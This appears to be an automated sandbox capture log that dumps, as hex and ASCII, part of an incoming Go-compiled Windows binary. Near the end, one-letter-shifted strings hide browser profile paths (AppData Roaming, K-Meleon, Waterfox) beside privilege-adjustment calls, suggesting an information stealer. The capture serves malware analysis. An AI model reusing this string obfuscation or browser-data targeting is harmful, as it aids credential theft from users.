2023-01-25 20:04:35 UTC	4620	IN	Data Raw: 00 00 00 00 00 60 a6 86 00 00 00 00 00 40 b1 8b 00 00 00 00 00 c0 a8 8a 00 00 00 00 00 98 ac 90 00 00 00 00 00 04 08 70 00 04 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 af ab 63 22 02 08 08 35 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 f4 37 01 00 00 00 00 00 60 a6 86 00 00 00 00 00 e0 3c 86 00 00 00 00 00 80 a9 8a 00 00 00 00 00 98 ac 90 00 00 00 00 00 04 18 f0 00 04 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 34 83 14 14 02 08 08 35 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 b6 c5 00 00 00 00 00 00 60 a6 86 00 00 00 00 00 60 9c 86 00 00 00 00 00 40 aa 8a 00 00 00 00 00 98 ac 90 00 00 00 00 00 04 04 50 00 04 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 Data Ascii: `@pc"5h7`<45h``@P
2023-01-25 20:04:35 UTC	4636	IN	Data Raw: 00 00 00 00 00 40 04 88 00 00 00 00 00 07 71 00 00 02 00 02 00 10 00 00 00 00 00 00 00 a3 02 00 00 80 cb 02 00 a0 16 00 00 a0 16 00 00 52 03 00 00 a0 55 02 00 20 16 00 00 20 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 f1 2c 11 0e 09 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 03 72 00 00 00 00 00 00 00 ed 8a 00 00 00 00 00 07 71 00 00 02 00 02 00 10 00 00 00 00 00 00 00 1b 06 00 00 20 27 02 00 40 13 00 00 40 13 00 00 7e 87 00 00 80 36 03 00 80 15 00 00 80 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 c0 c4 66 dc 09 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 4e 23 Data Ascii: @qRU ,6xhrq '@@~6f6xhN#
2023-01-25 20:04:35 UTC	4652	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 ba 7a b2 38 02 08 08 33 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 5f 29 02 00 00 00 00 00 03 00 03 00 00 00 00 00 20 63 86 00 00 00 00 00 20 63 86 00 00 00 00 00 80 c5 8b 00 00 00 00 00 e0 9b 86 00 00 00 00 00 e0 9b 86 00 00 00 00 00 00 9a 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 4a 15 51 0e 02 08 08 33 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 03 2b 02 00 00 00 00 00 03 00 03 00 00 00 00 00 20 63 86 00 00 00 00 00 20 63 86 00 00 00 00 00 00 b0 88 00 00 00 00 00 e0 9b 86 00 00 00 00 00 e0 9b 86 00 00 00 00 00 00 9a 88 00 00 00 00 00 00 00 Data Ascii: z83h_) c cJQ3h+ c c
2023-01-25 20:04:35 UTC	4668	IN	Data Raw: 00 e0 4b 02 00 e0 62 2b 00 e0 62 2b 00 f5 43 00 00 20 42 02 00 40 63 2b 00 40 63 2b 00 0f 28 00 00 20 42 02 00 80 63 2b 00 80 63 2b 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 8d 08 75 35 09 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 70 97 00 00 00 00 00 00 80 fa 8b 00 00 00 00 00 07 30 00 00 03 00 00 00 10 00 00 00 00 00 00 00 90 1e 00 00 ff ff ff ff a0 27 2a 00 a0 27 2a 00 ce 5e 00 00 ff ff ff ff 60 25 2a 00 60 25 2a 00 9e 2f 00 00 20 42 02 00 ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 8e c9 e2 95 09 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 91 10 01 00 00 00 00 00 60 4a 8b 00 00 00 00 00 54 bf 00 00 03 00 01 00 10 00 00 00 00 00 00 00 2f 07 Data Ascii: Kb+b+C B@c+@c+( Bc+c+u56xhp0''^`%`%/ B6xh`JT/
2023-01-25 20:04:35 UTC	4684	IN	Data Raw: 00 00 00 00 00 11 40 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 00 00 00 00 00 00 00 00 29 40 84 00 00 00 00 00 40 b1 8b 00 00 00 00 00 08 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 d8 a7 66 21 02 08 08 19 00 00 00 00 00 00 00 00 88 f4 96 00 00 00 00 00 04 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 22 89 00 00 00 00 00 02 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 11 40 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 00 00 00 00 00 00 00 00 29 40 84 00 00 00 00 00 60 42 8c 00 00 00 00 00 08 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 7d b8 60 39 02 08 08 19 00 00 00 00 00 00 00 00 88 f4 96 00 00 00 00 00 f7 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 70 23 89 00 00 00 00 00 02 00 00 00 00 00 00 00 02 00 Data Ascii: @ )@@f!t"@ )@`B}`9p#
2023-01-25 20:04:35 UTC	4700	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 04 a8 52 ba 07 08 08 19 00 00 00 00 00 00 00 00 48 f2 96 00 00 00 00 00 a5 e2 00 00 20 6c 03 00 94 c0 84 00 00 00 00 00 e0 62 89 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 94 80 00 00 01 00 00 00 28 00 00 00 00 00 00 00 90 5f 84 00 00 00 00 00 60 8f 89 00 00 00 00 00 00 00 00 00 00 00 00 00 48 1f 00 00 ff ff ff ff ff ff ff ff 00 cc 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 86 f1 34 8e 0f 08 08 19 78 ac 90 00 00 00 00 00 60 f4 96 00 00 00 00 00 4b 1c 01 00 40 6d 03 00 d5 41 85 00 00 00 00 00 80 63 89 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 Data Ascii: RH lb(_`H4x`K@mAc
2023-01-25 20:04:35 UTC	4716	IN	Data Raw: 00 00 00 00 00 44 02 00 00 00 00 00 00 40 00 00 00 00 00 00 00 d0 51 84 00 00 00 00 00 e0 9b 86 00 00 00 00 00 00 00 00 00 00 00 00 00 38 44 84 00 00 00 00 00 00 9a 88 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00 78 a1 df 12 07 08 08 19 00 00 00 00 00 00 00 00 e0 de 96 00 00 00 00 00 89 30 00 00 c0 c7 01 00 44 42 84 00 00 00 00 00 20 a3 89 00 00 00 00 00 02 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 44 02 00 00 00 00 00 00 40 00 00 00 00 00 00 00 c7 4e 84 00 00 00 00 00 60 55 86 00 00 00 00 00 00 00 00 00 00 00 00 00 38 44 84 00 00 00 00 00 00 9a 88 00 00 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 10 00 Data Ascii: D@Q8D((x0DB D@N`U8D
2023-01-25 20:04:35 UTC	4732	IN	Data Raw: 00 00 00 00 00 72 ca 9f 90 09 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 30 d6 00 00 00 00 00 00 20 9d 89 00 00 00 00 00 49 3e 00 00 05 00 03 00 10 00 00 00 00 00 00 00 69 0d 00 00 60 46 02 00 a0 cc 10 00 a0 cc 10 00 4d 07 00 00 e0 55 02 00 e0 ce 10 00 e0 ce 10 00 88 1d 00 00 20 4e 02 00 c0 cd 10 00 c0 cd 10 00 2b 0b 00 00 ff ff ff ff 40 d0 10 00 40 d0 10 00 51 2e 00 00 ff ff ff ff 80 cf 10 00 80 cf 10 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 3f e2 96 63 09 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 12 38 01 00 00 00 00 00 c0 1d 8b 00 00 00 00 00 10 94 00 00 05 00 05 00 10 00 00 00 00 00 00 00 d6 0c 00 00 a0 44 02 00 60 02 25 00 60 02 25 00 2f 07 00 00 a0 28 03 00 a0 02 25 00 a0 02 25 00 98 1c Data Ascii: r6xh0 I>i`FMU N+@@Q.?c6xh8D`%`%/(%%
2023-01-25 20:04:35 UTC	4748	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 ae fd 30 96 07 08 08 19 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 1a 82 00 00 a0 26 08 00 58 4c 84 00 00 00 00 00 e0 22 8a 00 00 00 00 00 03 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 58 0c 00 00 00 00 00 00 58 00 00 00 00 00 00 00 ca 43 84 00 00 00 00 00 20 63 86 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 44 84 00 00 00 00 00 e0 9b 86 00 00 00 00 00 18 00 00 00 00 00 00 00 17 79 84 00 00 00 00 00 e0 71 86 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 e3 73 9d 83 07 08 08 19 00 00 00 00 00 00 00 00 68 f4 96 00 00 00 00 00 29 82 Data Ascii: (0h&XL"XXC cDyq (sh)
2023-01-25 20:04:35 UTC	4764	IN	Data Raw: 00 00 98 03 00 0d 64 84 00 00 00 00 00 a0 62 8a 00 00 00 00 00 03 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 0d 24 00 00 00 00 00 00 58 00 00 00 00 00 00 00 ce 6c 84 00 00 00 00 00 20 a5 86 00 00 00 00 00 00 00 00 00 00 00 00 00 72 a9 84 00 00 00 00 00 20 c6 86 00 00 00 00 00 10 00 00 00 00 00 00 00 20 e0 84 00 00 00 00 00 e0 50 86 00 00 00 00 00 10 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6d 45 41 52 07 08 08 19 c8 58 84 00 00 00 00 00 60 f4 96 00 00 00 00 00 2f a9 00 00 a0 16 05 00 a3 45 84 00 00 00 00 00 60 63 8a 00 00 00 00 00 03 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 a3 05 00 00 00 00 00 00 58 00 00 00 00 00 00 00 38 61 84 00 00 00 00 00 a0 44 Data Ascii: db$Xl r PmEARX`/E`cX8aD
2023-01-25 20:04:35 UTC	4780	IN	Data Raw: 00 00 00 00 00 60 46 87 00 00 00 00 00 08 00 00 00 00 00 00 00 99 4f 84 00 00 00 00 00 80 3e 87 00 00 00 00 00 88 00 00 00 00 00 00 00 cf 7a 84 00 00 00 00 00 60 a7 86 00 00 00 00 00 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 00 00 00 00 d0 00 00 00 00 00 00 00 b4 8a 97 b3 02 08 08 19 00 00 00 00 00 00 00 00 97 e0 96 00 00 00 00 00 37 5e 01 00 00 00 00 00 00 40 84 00 00 00 00 00 10 a3 8a 00 00 00 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 56 6f 84 00 00 00 00 00 40 dc 86 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 49 84 00 00 00 00 00 60 46 87 00 00 00 00 00 08 00 00 00 00 00 00 00 99 4f 84 00 00 00 00 00 e0 3e 87 00 00 00 00 00 88 00 00 00 00 00 00 00 cf 7a 84 00 00 00 00 00 60 a7 86 00 00 00 00 00 c8 00 Data Ascii: `FO>z`7^@Vo@I`FO>z`
2023-01-25 20:04:35 UTC	4796	IN	Data Raw: 00 00 00 00 00 a0 12 89 00 00 00 00 00 38 00 00 00 00 00 00 00 98 00 00 00 00 00 00 00 90 00 00 00 00 00 00 00 c9 08 30 47 07 08 08 19 00 00 00 00 00 00 00 00 0b e0 96 00 00 00 00 00 17 1c 01 00 40 0d 04 00 2a 8e 84 00 00 00 00 00 e0 e2 8a 00 00 00 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 2a 4e 00 00 00 00 00 00 70 00 00 00 00 00 00 00 e7 44 84 00 00 00 00 00 20 63 86 00 00 00 00 00 00 00 00 00 00 00 00 00 e7 a9 84 00 00 00 00 00 00 77 8b 00 00 00 00 00 18 00 00 00 00 00 00 00 d3 bd 84 00 00 00 00 00 a0 71 86 00 00 00 00 00 90 00 00 00 00 00 00 00 7f 4b 84 00 00 00 00 00 a0 71 86 00 00 00 00 00 91 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00 43 dc 32 a0 07 08 08 19 00 00 00 00 00 00 00 00 e0 de 96 00 00 00 00 00 77 24 Data Ascii: 80G@**NpD cwqKq8(C2w$
2023-01-25 20:04:35 UTC	4812	IN	Data Raw: 00 00 00 00 00 82 40 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 00 00 00 00 00 00 00 00 65 40 84 00 00 00 00 00 00 00 86 00 00 00 00 00 08 00 00 00 00 00 00 00 a9 4b 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 10 00 00 00 00 00 00 00 69 45 84 00 00 00 00 00 80 68 8c 00 00 00 00 00 18 00 00 00 00 00 00 00 5f 45 84 00 00 00 00 00 60 a7 86 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 00 00 00 00 00 30 00 00 00 00 00 00 00 86 7f 65 cb 02 08 08 19 00 00 00 00 00 00 00 00 61 3c 8d 00 00 00 00 00 17 92 05 00 00 00 00 00 57 35 85 00 00 00 00 00 50 23 8b 00 00 00 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 82 40 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 00 00 00 00 00 00 00 00 67 a3 Data Ascii: @ e@K iEh_E` 00ea<W5P#@ g
2023-01-25 20:04:35 UTC	4828	IN	Data Raw: 00 00 00 00 00 a0 00 89 00 00 00 00 00 08 00 00 00 00 00 00 00 70 87 84 00 00 00 00 00 a0 00 89 00 00 00 00 00 20 00 00 00 00 00 00 00 f6 41 84 00 00 00 00 00 40 e5 8b 00 00 00 00 00 38 00 00 00 00 00 00 00 00 6e 84 00 00 00 00 00 a0 73 86 00 00 00 00 00 40 00 00 00 00 00 00 00 19 7c 84 00 00 00 00 00 a0 75 86 00 00 00 00 00 48 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 25 97 4c d0 02 08 08 19 00 00 00 00 00 00 00 00 10 df 96 00 00 00 00 00 9d 8e 04 00 00 00 00 00 44 42 84 00 00 00 00 00 30 63 8b 00 00 00 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 82 40 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 00 00 00 00 00 00 00 00 62 40 84 00 00 00 00 00 40 bd 8c 00 00 00 00 00 08 00 00 00 00 00 00 00 fc 43 84 00 00 00 00 00 a0 12 Data Ascii: p A@8ns@\|uH@@%LDB0c@ b@@C
2023-01-25 20:04:35 UTC	4844	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 07 00 00 a0 28 03 00 40 4c 12 00 c0 4c 12 00 c7 33 00 00 e0 ad 02 00 60 4d 12 00 60 53 11 00 f9 33 00 00 40 19 03 00 e0 4d 12 00 40 4e 12 00 a8 43 00 00 20 27 02 00 c0 4e 12 00 20 4f 12 00 73 0e 00 00 e0 b1 03 00 a0 4f 12 00 20 50 12 00 82 56 00 00 a0 44 02 00 a0 50 12 00 20 54 11 00 8e 56 00 00 a0 44 02 00 20 51 12 00 80 51 12 00 8f 0e 00 00 20 a7 02 00 00 52 12 00 60 52 12 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 a2 98 56 46 02 08 08 19 00 00 00 00 00 00 00 00 03 df 96 00 00 00 00 00 18 c9 05 00 00 00 00 00 07 70 84 00 00 00 00 00 50 a3 8b 00 00 00 00 00 07 00 00 00 00 00 00 00 07 00 00 00 00 00 00 00 82 40 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 00 00 00 00 00 00 00 00 16 41 Data Ascii: /(@LL3`M`S3@M@NC 'N OsO PVDP TVD QQ R`R88VFpP@ A
2023-01-25 20:04:35 UTC	4860	IN	Data Raw: 00 00 00 00 00 38 00 00 00 00 00 00 00 96 cd 84 00 00 00 00 00 e0 9b 86 00 00 00 00 00 40 00 00 00 00 00 00 00 87 cd 84 00 00 00 00 00 a0 71 86 00 00 00 00 00 48 00 00 00 00 00 00 00 50 e0 84 00 00 00 00 00 40 cb 85 00 00 00 00 00 50 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 a6 86 ae 21 09 08 08 36 78 ac 90 00 00 00 00 00 68 f4 96 00 00 00 00 00 cb c9 00 00 00 00 00 00 00 1b 8d 00 00 00 00 00 d9 5f 00 00 0e 00 07 00 10 00 00 00 00 00 00 00 3d ca 00 00 40 b4 02 00 80 a5 20 00 80 a5 20 00 20 9c 00 00 00 b6 03 00 40 9e 20 00 40 9e 20 00 60 d8 00 00 e0 b3 02 00 20 9d 20 00 20 9d 20 00 bc 40 00 00 e0 7c 04 00 00 ae 20 00 00 ae 20 00 f2 0c 00 00 80 b3 02 00 a0 9c 20 00 a0 9c 20 00 a8 1d 00 00 00 2f 03 00 c0 71 20 00 c0 71 20 00 30 9e Data Ascii: 8@qHP@P!6xh_=@ @ @ ` @\| /q q 0
2023-01-25 20:04:35 UTC	4876	IN	Data Raw: 00 00 00 00 00 72 73 b6 cf 07 08 08 19 00 00 00 00 00 00 00 00 e7 de 96 00 00 00 00 00 94 d6 00 00 80 28 08 00 e1 28 85 00 00 00 00 00 c0 22 8c 00 00 00 00 00 0b 00 00 00 00 00 00 00 0b 00 00 00 00 00 00 00 e1 e8 00 00 00 00 00 00 18 01 00 00 00 00 00 00 a9 4b 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 00 00 00 00 00 00 00 00 55 6d 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 08 00 00 00 00 00 00 00 91 45 84 00 00 00 00 00 60 a6 86 00 00 00 00 00 10 00 00 00 00 00 00 00 d3 52 84 00 00 00 00 00 a0 9d 86 00 00 00 00 00 14 00 00 00 00 00 00 00 ce 4e 84 00 00 00 00 00 e0 a6 86 00 00 00 00 00 15 00 00 00 00 00 00 00 da 98 84 00 00 00 00 00 e0 a6 86 00 00 00 00 00 16 00 00 00 00 00 00 00 f9 49 84 00 00 00 00 00 e0 a6 86 00 00 00 00 00 17 00 00 00 00 00 00 00 ae 4f Data Ascii: rs(("K Um E`RNIO
2023-01-25 20:04:35 UTC	4892	IN	Data Raw: 00 00 00 00 00 e0 a6 86 00 00 00 00 00 4a 00 00 00 00 00 00 00 4a 40 84 00 00 00 00 00 e0 a6 86 00 00 00 00 00 4b 00 00 00 00 00 00 00 78 5e 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 50 00 00 00 00 00 00 00 01 aa 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 00 00 00 00 c8 00 00 00 00 00 00 00 e5 15 37 d7 07 08 08 19 00 00 00 00 00 00 00 00 3b e0 96 00 00 00 00 00 b7 c7 00 00 20 14 05 00 fb 63 84 00 00 00 00 00 40 63 8c 00 00 00 00 00 0f 00 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 fb 23 00 00 00 00 00 00 78 01 00 00 00 00 00 00 17 4a 84 00 00 00 00 00 20 54 89 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 41 84 00 00 00 00 00 20 a7 86 00 00 00 00 00 08 00 Data Ascii: JJ@Kx^ P X7; c@c#xJ TA
2023-01-25 20:04:35 UTC	4908	IN	Data Raw: 00 a0 28 03 00 20 b7 0f 00 20 b7 0f 00 f9 33 00 00 40 19 03 00 80 b7 0f 00 80 b7 0f 00 a8 43 00 00 20 27 02 00 c0 c3 0f 00 c0 c3 0f 00 73 0e 00 00 e0 b1 03 00 c0 b9 0f 00 c0 b9 0f 00 8e 56 00 00 a0 44 02 00 60 b9 0f 00 60 b9 0f 00 8f 0e 00 00 20 a7 02 00 80 b8 0f 00 80 b8 0f 00 f0 1d 00 00 a0 de 02 00 ff ff ff ff ff ff ff ff 9f 28 00 00 60 df 02 00 60 ff 0f 00 60 ff 0f 00 c6 8a 00 00 ff ff ff ff a0 dc 0f 00 a0 dc 0f 00 89 29 00 00 ff ff ff ff 20 c6 0f 00 20 c6 0f 00 99 7a 00 00 ff ff ff ff 00 df 0f 00 00 df 0f 00 f3 8a 00 00 ff ff ff ff e0 e3 0f 00 e0 e3 0f 00 20 1f 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 46 2a 00 00 ff ff ff ff 00 06 10 00 00 06 10 00 c3 0f 00 00 20 53 02 00 ff ff ff ff ff ff ff ff 12 6b 00 00 a0 58 02 00 ff ff ff ff ff ff ff ff fe 58 Data Ascii: ( 3@C 'sVD`` (```) z F* SkXX
2023-01-25 20:04:35 UTC	4924	IN	Data Raw: 00 ff ff ff ff 20 bc 2f 00 20 bc 2f 00 cf bb 00 00 ff ff ff ff 00 c5 2f 00 00 c5 2f 00 f1 08 00 00 ff ff ff ff 60 eb 2f 00 60 eb 2f 00 60 1f 00 00 ff ff ff ff c0 ec 2f 00 c0 ec 2f 00 0c dc 00 00 e0 45 02 00 ff ff ff ff ff ff ff ff fc 13 01 00 20 27 02 00 ff ff ff ff ff ff ff ff 65 f4 00 00 20 4e 02 00 ff ff ff ff ff ff ff ff 4f 25 01 00 ff ff ff ff 20 d7 2f 00 20 d7 2f 00 a7 cd 00 00 ff ff ff ff e0 c5 2f 00 e0 c5 2f 00 f0 21 00 00 ff ff ff ff e0 ab 2f 00 e0 ab 2f 00 28 2d 00 00 ff ff ff ff a0 e2 2f 00 a0 e2 2f 00 b4 4a 00 00 ff ff ff ff a0 e3 2f 00 a0 e3 2f 00 70 2d 00 00 ff ff ff ff 20 da 2f 00 20 da 2f 00 e4 af 00 00 ff ff ff ff e0 dd 2f 00 e0 dd 2f 00 e5 11 00 00 ff ff ff ff 40 f9 2f 00 40 f9 2f 00 82 2d 00 00 ff ff ff ff c0 fa 2f 00 c0 fa 2f 00 6f 4b Data Ascii: / ///`/`/`//E 'e NO% / ///!//(-//J//p- / ///@/@/-//oK
2023-01-25 20:04:35 UTC	4940	IN	Data Raw: 00 00 00 00 00 60 a6 86 00 00 00 00 00 00 12 00 00 00 00 00 00 6e 9e 84 00 00 00 00 00 a0 a6 86 00 00 00 00 00 08 12 00 00 00 00 00 00 8f 41 85 00 00 00 00 00 a0 a6 86 00 00 00 00 00 10 12 00 00 00 00 00 00 bf bb 84 00 00 00 00 00 a0 9c 86 00 00 00 00 00 18 12 00 00 00 00 00 00 b5 33 85 00 00 00 00 00 a0 9c 86 00 00 00 00 00 20 12 00 00 00 00 00 00 9f bc 84 00 00 00 00 00 20 0d 89 00 00 00 00 00 28 12 00 00 00 00 00 00 83 fc 84 00 00 00 00 00 60 a2 86 00 00 00 00 00 30 12 00 00 00 00 00 00 d7 40 85 00 00 00 00 00 a0 9c 86 00 00 00 00 00 38 12 00 00 00 00 00 00 47 44 84 00 00 00 00 00 e0 4d 8b 00 00 00 00 00 40 12 00 00 00 00 00 00 2e 53 84 00 00 00 00 00 40 5c 8a 00 00 00 00 00 68 12 00 00 00 00 00 00 00 e2 84 00 00 00 00 00 60 a6 86 00 00 00 00 00 78 22 Data Ascii: `nA3 (`0@8GDM@.S@\h`x"
2023-01-25 20:04:36 UTC	4956	IN	Data Raw: 74 72 65 66 6c 65 63 74 4f 66 66 73 72 65 74 72 79 2d 61 66 74 65 72 72 75 6e 74 69 6d 65 3a 20 50 20 72 75 6e 74 69 6d 65 3a 20 67 20 72 75 6e 74 69 6d 65 3a 20 70 20 73 63 68 65 64 64 65 74 61 69 6c 73 65 63 75 72 33 32 2e 64 6c 6c 73 68 65 6c 6c 33 32 2e 64 6c 6c 73 68 6f 72 74 20 77 72 69 74 65 74 69 6d 65 3a 20 66 69 6c 65 20 74 6c 73 3a 20 61 6c 65 72 74 28 74 72 61 63 65 61 6c 6c 6f 63 28 74 72 61 66 66 69 63 20 75 70 64 75 6e 72 65 61 63 68 61 62 6c 65 75 73 65 72 65 6e 76 2e 64 6c 6c 77 73 61 72 65 63 76 66 72 6f 6d 20 28 73 65 6e 73 69 74 69 76 65 29 20 42 20 28 e2 88 86 67 6f 61 6c 20 20 4b 69 42 20 74 6f 74 61 6c 2c 20 20 4d 42 20 73 74 61 63 6b 73 2c 20 20 5b 72 65 63 6f 76 65 72 65 64 5d 20 61 6c 6c 6f 63 43 6f 75 6e 74 20 20 66 6f 75 6e 64 Data Ascii: treflectOffsretry-afterruntime: P runtime: g runtime: p scheddetailsecur32.dllshell32.dllshort writetime: file tls: alert(tracealloc(traffic updunreachableuserenv.dllwsarecvfrom (sensitive) B (goal KiB total, MB stacks, [recovered] allocCount found
2023-01-25 20:04:36 UTC	4972	IN	Data Raw: 69 20 6f 66 20 75 6e 65 78 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 70 63 48 65 61 64 65 72 2e 74 65 78 74 53 74 61 72 74 3d 20 20 70 72 65 76 69 6f 75 73 20 61 6c 6c 6f 63 43 6f 75 6e 74 3d 2c 20 6c 65 76 65 6c 42 69 74 73 5b 6c 65 76 65 6c 5d 20 3d 20 31 38 36 32 36 34 35 31 34 39 32 33 30 39 35 37 30 33 31 32 35 39 33 31 33 32 32 35 37 34 36 31 35 34 37 38 35 31 35 36 32 35 41 64 6a 75 73 74 54 6f 6b 65 6e 50 72 69 76 69 6c 65 67 65 73 41 6c 61 73 6b 61 6e 20 53 74 61 6e 64 61 72 64 20 54 69 6d 65 41 6e 61 74 6f 6c 69 61 6e 5f 48 69 65 72 6f 67 6c 79 70 68 73 41 72 61 62 69 61 6e 20 53 74 61 6e 64 61 72 64 20 54 69 6d 65 42 65 6c 61 72 75 73 20 53 74 61 6e 64 61 72 64 20 54 69 6d 65 43 65 6e 74 72 61 6c 20 53 74 61 6e 64 61 72 64 20 54 69 6d 65 43 72 Data Ascii: i of unexported method pcHeader.textStart= previous allocCount=, levelBits[level] = 186264514923095703125931322574615478515625AdjustTokenPrivilegesAlaskan Standard TimeAnatolian_HieroglyphsArabian Standard TimeBelarus Standard TimeCentral Standard TimeCr
2023-01-25 20:04:36 UTC	4988	IN	Data Raw: 0d 0a 5b 6f 72 69 67 69 6e 61 74 69 6e 67 20 66 72 6f 6d 20 67 6f 72 6f 75 74 69 6e 65 20 5d 5d 42 71 71 45 62 75 62 5d 5d 53 70 62 6e 6a 6f 68 5d 5d 4c 2e 4e 66 6d 66 70 6f 5d 5d 42 71 71 45 62 75 62 5d 5d 53 70 62 6e 6a 6f 68 5d 5d 58 62 75 66 73 67 70 79 61 73 6e 31 3a 20 73 74 72 69 6e 67 20 6e 6f 74 20 76 61 6c 69 64 20 55 54 46 2d 38 62 79 74 65 73 3a 20 6e 65 67 61 74 69 76 65 20 52 65 70 65 61 74 20 63 6f 75 6e 74 63 61 6e 6e 6f 74 20 63 6f 6e 76 65 72 74 20 25 73 20 74 6f 20 49 4e 54 45 47 45 52 63 61 6e 6e 6f 74 20 75 6e 6d 61 72 73 68 61 6c 20 44 4e 53 20 6d 65 73 73 61 67 65 63 6f 6d 70 61 72 69 6e 67 20 75 6e 63 6f 6d 70 61 72 61 62 6c 65 20 74 79 70 65 20 63 72 79 70 74 6f 2f 72 73 61 3a 20 64 65 63 72 79 70 74 69 6f 6e 20 65 72 72 6f 72 63 Data Ascii: [originating from goroutine ]]BqqEbub]]Spbnjoh]]L.Nfmfpo]]BqqEbub]]Spbnjoh]]Xbufsgpyasn1: string not valid UTF-8bytes: negative Repeat countcannot convert %s to INTEGERcannot unmarshal DNS messagecomparing uncomparable type crypto/rsa: decryption errorc
